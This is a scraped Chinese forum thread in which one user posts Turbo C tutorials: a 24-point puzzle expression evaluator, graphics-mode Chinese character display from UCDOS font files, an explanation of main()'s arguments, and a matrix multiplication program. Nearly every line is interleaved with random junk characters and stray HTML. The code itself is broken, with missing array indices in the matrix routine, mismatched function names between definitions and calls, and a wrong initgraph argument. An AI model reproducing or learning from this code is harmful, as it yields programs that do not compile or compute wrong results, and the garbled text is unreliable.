{ case '*': p=2; break;8 |3 M1 X" {- @# S% |/ f2 M$ ?' l2 n
case '/': p=2; break;
. d: ]3 ]6 N& v- \0 Tcase '+': p=1; break;. j" d8 A% N7 E4 E1 T3 }% v
case '-': p=1; break;
# y/ _# ]/ u0 ~& a7 X3 W, P- {. Z6 ~case '(': p=0; break;
% G2 Q* ]& M+ y  X7 Ocase '=': p=-1; break;
0 w) I+ ~6 o5 E0 e& t5 E}
' u2 `, D* M5 d) K2 greturn(p);
+ t6 `! z2 P+ X8 ]7 T}
7 B2 V1 M! d( p# j' C: G/* 此函数实现中缀到后缀的转换 */
; b# j" f8 a# i) n5 a/* M的值宏定义为20 */( a) K; L( V# @% i2 u9 w- h
/* sp[]为表达式数组 */4 \4 |3 c5 E5 w' O0 X) s
int mid_last()
' G5 ?* `; @9 E, P& u. }{ int i=0,j=0; char c,sm[M];
- u2 S! v. T. f7 P! w% C" Bc=s[0]; sm[0]='='; top=0;0 W4 l% ~1 O  f! S
while(c!='\0'); ]5 a8 t) K1 n+ {% a/ O
{ if(islower(c)) sp[j++]=c;, q: P6 A" w' g6 |
else switch(c)) g$ y; w8 @3 ^
{ case '+':7 T& k3 f0 \! z
case '-':- P' c$ ?* E) g
case '*':
3 ?( M% {* q4 c1 V$ kcase '/': while(first(c)&lt;=first(sm[top]))
) U0 M/ ?- l! X5 q3 hsp[j++]=sm[top--];
7 q/ d9 \4 G' w. ?. I) |sm[++top]=c; break;+ A1 I- g+ e- f) @/ u) d( y7 t
case '(': sm[++top]=c; break;
1 i# P' g/ Q$ v' Rcase ')': while(sm[top]!='(')
8 u5 N8 @" V; v  o! u( _' o1 psp[j++]=sm[top--];
' f  _! x0 v% S( o$ Atop--; break;+ j) {# l6 p6 H5 Q
default :return(1);
, J2 c  e3 r" i9 n; n# Q7 |7 u}
. N0 B  T. a; i' o1 N8 Z$ Y  L2 Z, w+ Qc=s[++i];
, o! @  E4 v; \& K. L! @}- T; n" Y# |, B1 M+ k8 i
while(top&gt;0) sp[j++]=sm[top--];
) d3 J; n5 d- L8 N  asp[j]='\0'; return(0);0 J$ J6 J& J$ N
}
8 `& _  k2 S+ h$ a! J/ m1 r/* 由后缀表达式来计算表达式的值 */: P, A! ^" O2 f; G3 j
int calc(): u: H+ c: x+ F+ Q* x: }2 u1 T
{ int i=0,sm[M],tr; char c;
' g* E) U8 D7 v+ e& H- X& f( Mc=sp[0]; top=-1;
( h/ C2 u! A. \9 u5 h  C/ {while(c!='\0')6 S/ `0 b# o8 x+ P1 S
{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,3 x+ u8 y% _" A4 F; P" T5 e& q$ `
这样才可以更方便的处理非一位数,
2 t/ q! ?( E4 E1 t5 d: Zver数组中存放着这些字母所代替的数*/$ W: v+ W6 |1 x" `5 h: \# U
else switch(c)
6 y* w* x7 t6 T6 w3 X{ case '+': tr=sm[top--]; sm[top]+=tr; break;( ?( {) B8 S4 W( K, |: D
case '-': tr=sm[top--]; sm[top]-=tr; break;
! Y" c4 i( Z0 Bcase '*': tr=sm[top--]; sm[top]*=tr; break;% r: b( T/ x2 n% b2 I- p
case '/': tr=sm[top--];sm[top]/=tr;break;
$ V3 r1 m. |; u9 ]default : return(1);
! Y  I- t. a8 D0 J}5 s& y& L( x, Y3 p& G5 [0 E: {
c=sp[++i];7 p; ^- o% f) z( i
}, r* n$ @1 \2 P4 {/ z$ E& \- X
if(top&gt;0) return(1);6 E, h& C$ g* q# u  D1 g
else { result=sm[top]; return(0); }$ [" b& }5 Y" [! Q% Y
}+ V5 _( G- S3 {" r
</FONT>
$ a7 @# m  j+ a: J+ [% v6 N  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。' V& ]; W' M8 c- Q- U! E' R3 g

7 p$ z( H$ m% m5 U& q! Z  最后我总结了一下这其中容易出错的地方——
* o1 H  Q& I% T9 O9 v& F
- N; V) X9 m# j4 C  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。. e' c7 ^  _" P0 y
" L1 U3 a. W$ {* H6 G3 C( k3 B% z
  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。
* C' a9 K& Z' P; H* X5 E. U
  \; }$ j& K5 v5 l/ E, @  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。 7 R- n3 e9 }6 m7 B' P& x

9 D8 H7 {2 H# g9 M" z$ z9 J* E  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。
- i! {# x9 j8 i6 a
! U0 y! ~4 J1 u+ g* P) \  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。; k( v+ K- I+ ^4 R& w/ t. A- x/ B" e
  j. V0 V5 p, t# N* f  n
  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。
2 i; S$ l2 C% ]- D/ @& R3 G  ~( L- f3 }7 Z3 i
  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。  j0 F% f1 g7 D
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>* T$ f' H% O' D+ Z7 W3 M3 r# Z- p
图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}+ N0 a' C, V8 k
  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。
/ z) Z! X0 C# N9 U1 U  汉字显示的第一步是打开字库文件。 8 \- J6 ^6 u  S1 C8 D
  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。3 d( C% H$ D, k8 V* ~6 A( I, o
  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)
0 W7 b, Z! B& ~$ \; l# k7 b{* Q( R6 ]; e8 c! m1 j  M4 k: S; d
unsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
2 P1 H$ ~5 v% Z9 k# ]- W. l6 Bint rec,i1,i2,i3; /*z:space between;*/
3 O0 g& ^  n% @5 L! ^long l; /*color:txt color*/' y- ]5 L1 F: b: A
char by[32]; /*p:HZ str*/4 Z1 c' S& K. O
if( handle&lt;0 ) return -1; while((i=*p++)!=0){/ v$ J' Y) T, r) k$ K
if(i&gt;0xa1)0 g% t! ]# v* p5 H
if(f==0){
/ E) ]. o* o5 m* B  T8 J) oc1=(i-0xa1)&amp;0x07f;
% [( h4 \& k3 Of=1;
# @5 L+ G: q3 S' ?}
3 w3 C* w% M) @$ v" Kelse{2 T, N# T8 H+ \0 w( B
c2=(i-0xa1)&amp;0x07f;5 N) [0 _/ f  y8 {! I
f=0;; P+ L/ \  m/ ?4 }  Y
rec=c1*94+c2;7 S% f4 E, {0 X0 g' U8 m
l=rec*32L;! k6 H: B, z3 ^- W. E9 N% p8 S) s
lseek(handle,l,SEEK_SET);" n: F+ }# m$ r7 H
read(handle,by,32);2 {- E" c5 g3 y1 B$ g
for(i1=0;i1&lt;16;i1++)& r! t) Q4 E( `
for(i2=0;i2&lt;2;i2++)
; X6 z6 f/ C7 c: q9 b$ I* Vfor(i3=0;i3&lt;8;i3++)
; y& _0 m! V* z$ f' F) T8 sif(GetBit(by[i1*2+i2],7-i3))
- E* J) r$ \# O3 [9 R1 z- Kputpixel(x+i2*8+i3,y+i1,color);# `  Z* _5 O! @  _
x=x+z+16;0 A5 k9 f. e  N8 L3 `$ e) J: @
}+ D; k& h5 y4 O2 n' {
}( E$ B8 e# F- Q  b
return(x);
/ X$ U4 j" L; |# Z, v7 l}
) L8 L# B% p) L函数GetBit定义如下:7 E* ]7 K" w7 |+ W
  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。6 W- p" Z# g9 q! ]% @
int GetBit(unsigned char c,int n)
8 j0 m: f& X& ?2 i! Y( a{
* b+ i+ M6 E- Greturn((c&gt;&gt;n)&amp;1);/ V( R- m  S7 z7 r- M; i
}
# `& P0 z6 N: S% |汉字显示结束,应该关闭字库文件。( J' D/ u, _! H6 _$ _8 A# @$ T
void CloseHz(void)& S) u& z$ e/ s# _0 f" b+ b
{
! j  n6 \/ x4 v: u/ l: ?close( handle );
. @9 {4 \. d) {2 [1 E6 ~}
, j: [" M# i# d/ [1 J#include "\Caic\Include\Hz.h"
6 c8 ?- u. U' B. d- G0 v% @  m5 P; M#include <GRAPHICS.H>/ Q* T' i* G6 h" ]
#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";  p( {; [: @: |/ x2 F
const char* HzStr = "苦丁香C语言辅助学习软件";. P+ h5 o2 q/ O* N$ j4 B
void main(){7 W/ g) g/ ^5 X' o' K
int gr=DETECT,gm;
" E6 c& r. J) w3 {" Sinitgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");! Q# l4 R- s$ q7 @1 d
OpenHz( Hz16Path );8 B4 Q' K( l" [2 ?( Y
Wrt16Hz(20,20,4,RED,HzStr);
0 p/ o8 O! s2 O, |1 x0 ?. a% cCloseHz();
. @* y  m9 J! ogetch();$ k) A/ g1 w$ v3 f) g% y( Q
closegraph();% O6 ^) j0 T& A4 \, ~5 f
}显示24点阵及放大汉字
( ^/ _! c6 K- a  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。# e5 d3 y9 K  I7 L; f5 f
函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。5 x2 x' v$ H' q* T
int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
4 g% _2 g( W5 O{
5 L" L$ d. q+ h$ `( @( ~' aunsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/
' ]7 n" ^# U6 e% x+ fint i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/
0 Q( a8 z, C' U2 y6 ^0 x; }long l; /*color:汉字颜色*/- I; I3 ^7 I; Z# n( H1 q2 c- i2 s
char by[72]; /*m: x 方向的放大倍数*/
% j  @- L6 M" I/*n: y 方向的放大倍数*/
2 {- O9 l  s. F* c. d  Rif( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
& \$ @4 h% M8 g7 {1 eif(i&gt;0xa1)6 p) ]( u6 ^; p4 h" p
if(f==0){" |4 C  J+ D! y' m; O$ T
c1=(i-0xa1)&amp;0x7f;/ X8 x8 C. X* P! N' k/ E+ S6 Y  A
f=1;
) y& T1 u5 D/ b+ [  j8 C! m. }}9 k- Y- W  q6 s. f/ f+ r) Y1 T
else{
% q* e$ f' p" l: Yc2=(i-0xa1)&amp;0x7f;
. h7 E* j* K+ w. I" ]f=0;6 f, M  \8 g5 ~" o5 z
rec=(c1-15)*94+c2;1 f7 x7 h. W6 |/ v1 ?4 [
l=rec*72L;
% Z/ H2 E8 g+ f( N5 }, h  blseek(handle,l,SEEK_SET);4 D! o9 m2 x+ R8 e! [
read(handle,by,72);! Y) v5 y. s9 ?
for(i1=0;i1&lt;24*m;i1=i1+m)
( w3 n% T) _/ J. N- B, I7 E4 ?for(i4=0;i4<M;I4++)+ p. Q) d- W1 M0 W0 n
for(i2=0;i2&lt;=2;i2++)& T+ U% X1 M: L
for(i3=0;i3&lt;8;i3++)1 N  z4 s3 ~, |4 |% F7 h8 x- t
if(GetBit(by[i1/m*3+i2],7-i3))6 _, `) ?0 _! J4 X* [5 ^* x
for(i5=0;i5<N;I5++)
3 I; ^9 X4 i5 S1 j! {7 c) `! f, @ putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
$ I4 X) d# j. s! cx=x+24*m+z;
2 S4 i: {! G: T; v" ]1 J$ e}
# F9 \/ [0 g- j0 `* C! E1 Y5 |  P}1 t2 ^9 L1 u% Y* r* D- a3 V
return(x);- ~5 c1 r5 v+ e( }  \8 Z; D9 n" M) `
} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"( I/ ?( H4 `, X: w
#include <GRAPHICS.H>
- n! W: h0 P  }#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."
' m0 o' ?6 [: Q7 f0 k9 C$ w3 Mconst char* HzStr = "苦丁香C语言辅助学习软件";5 i* W4 F9 M* z! l/ c- j5 u9 k
void main(){
: V% D- U" [. q4 S- dint gr=DETECT,gm;
+ i: Y  J* R8 _: _8 k. s8 ninitgraph(&amp;gr,gm,"\\Caic\\Bgi");# _% B; t( x  l/ R4 d9 }3 z/ |
OpenHz( Hz24Path );8 X, X6 ^8 U2 s; h& o
Wrt24Hz(20,20, /*先是在(x,y)*/
* w" H# b5 h4 O/ S2 b' U4, /*汉字间的空格为4*// G, w4 h  n  S: J- }9 U
RED, /*用红色显示*/# b" J3 i7 z3 H: n. d' ]( a
2, /*x 方向放大2倍*/5 E; m  t2 Y0 y: l' x0 V
4, /*y 方向放大4倍*/. D6 R! e1 c9 A* A2 x% g, Q
HzStr); /*显示字符串*/9 v; r& L4 d& i8 k
CloseHz();  F! h4 b( X7 W: U8 w3 H+ u! ~
getch();5 d: f; O6 T' q0 m* E/ Z* {
closegraph();
# w& U+ e: c! f( h, ?5 i} ) S: y+ z0 ]6 F# l
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数
1 k' u$ X% C1 p  y7 c4 m1 ^5 L  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。
" a  o( h, T& I: C8 f1. main() 参数
" {* r- `4 @$ L7 f/ I  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。
0 ~1 z; m0 w* ~3 z  * argc: 整数,为传给main()的命令行参数个数。
/ ?8 T0 \& [' @4 G0 y& T% Z- a  * argv: 字符串数组。
" D! m9 I( f1 h1 S8 V; V) K! P- K: k在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;
4 M: P" O4 k) D* r) K4 w6 y对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;; s9 o( }! a# ?" L0 h1 g5 o+ p
...+ @4 r+ y" {& r
argv[argc]为NULL。" [5 s* ]5 E* V7 B( J- k
  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
3 k7 t5 a: U8 E6 K7 Y/ T9 t值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/
& ]9 }/ l" B7 W" ~9 ?. O#include&lt;stdio.h&gt;
; Q9 Z' n. a- o, t/ f. T1 R8 Y/ d# U+ Z#include&lt;conio.h&gt;1 @2 h2 V2 B! ^2 S! R  X4 H, C& \
#define X 3- S5 z+ C2 u' g, [3 o7 m) h
#define Y 3</P><>int a[X][Y];
, G0 ^' W; R; v  Rint b[X][Y];
5 v+ m, K# k3 d2 Y( m  [int c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);6 d! B! p3 R8 \: C" v
main()
% S* W8 h% Z+ {6 ~3 u{( U+ k  q/ X3 O. |
int i,j,temp;) ~( E4 y5 N9 m( i  A4 ]% N" Q
clrscr();* o; D7 [/ W) A2 c# q
printf("lease input int matrix b[%d][%d]\n",X,Y);
1 O( i( V" o9 {6 |8 x) c, s/ }for(i=0;i&lt;Y;i++)
$ D- l( {: P* A  u9 Nfor(j=0;j&lt;Y;j++){
( t# h3 ~# i5 h0 r# l% n; |* \( ?scanf("%d",&amp;temp);, k  W1 N, B5 X9 u4 U
b[j]=temp;
7 b3 `( _  Z6 y  z. P}
) Q: B: v- L& Y& i3 \9 rprintf("lease input int matrix c[%d][%d]\n",X,Y);
9 o  e+ l  F1 \for(i=0;i&lt;X;i++)
- V( E* q6 J$ ~! dfor(j=0;j&lt;Y;j++){$ P6 Q% I* _/ w
scanf("%d",&amp;temp);4 h6 a* r. ]7 I: X( A* e
c[j]=temp;/ g) N. g5 c! u9 t6 r1 R9 ^2 j/ s
}+ [0 [6 S5 s" Z' m+ }
matrix(b,c);
4 h% P$ h" z8 hprintf("Now print resource matrix b[%d][%d]=",X,Y);2 {/ e1 r2 t9 ?5 J! S- X8 g5 W! j
for(i=0;i&lt;X;i++){) G$ R3 F# R- i/ D4 A2 P0 @9 J1 n0 i
printf("\n");
7 A* Q- X2 p" }4 Zfor(j=0;j&lt;Y;j++)* e  ~# s: r! I( O, [3 v6 V9 ~$ R  P
printf("%d ",b[j]);" a  t& H% O/ M. J: b  P$ J
}
. X4 c5 L0 o# w" U+ u# p0 O7 w: vprintf("\n");
) r2 @: M9 D/ nprintf("Now print resource matrix c[%d][%d]=",X,Y);) T% c$ g0 g) w3 @7 K; U5 z
for(i=0;i&lt;X;i++){
3 w) ^) a) |) H% c3 Qprintf("\n");% L" w8 a+ T7 f: H: M
for(j=0;j&lt;Y;j++)
" [2 l  u. U5 j0 U2 f' x0 s) wprintf("%d ",c[j]);
' j9 j! W4 Q# z2 K# A& C9 {}4 M2 V1 l7 w, b. y2 y
printf("\n");
/ B4 ?0 z6 L# D! fprintf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);$ D; |5 N2 \; q. U- Q. j
for(i=0;i&lt;X;i++){
. O* U# U1 n% Z9 V' r8 mprintf("\n");
: _, B- p" I) ]' T1 d4 |for(j=0;j&lt;Y;j++)# S! L" z, d) J  c9 H
printf("%d ",a[j]);
3 H9 D0 i3 `5 P- ?$ ^+ T6 J}
% ]+ K7 {( |9 d8 E- V7 N2 Rgetch();
* c' i' U' ^% S* mreturn 0;
( Y6 v* K, ^& \  ]" |}, \! g3 V! `  g) n. z1 O7 l
/********************************************************************/
3 |6 Z- o) U0 avoid matrix(int b[][X],int c[][Y])1 o7 X7 b! Z6 X* c
{
0 p3 b: K  [1 T& lint i,j,k,temp;
, s5 w3 z6 P9 [: p) M2 i- `6 J$ Rfor(i=0;i&lt;X;i++)3 m! T9 A' T: ?  L
for(j=0;j&lt;Y;j++){
, U2 M! T" C+ ?8 t4 efor(k=0;k&lt;Y;k++)) K9 ^, p$ s+ z4 P
a[j]+=b[k]*c[k][j];
( h; @/ O1 f' M& |! l}2 w2 }. P6 @1 ?9 [% h1 c. \
}</P>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-6-3 13:16 , Processed in 0.674866 second(s), 90 queries .

回顶部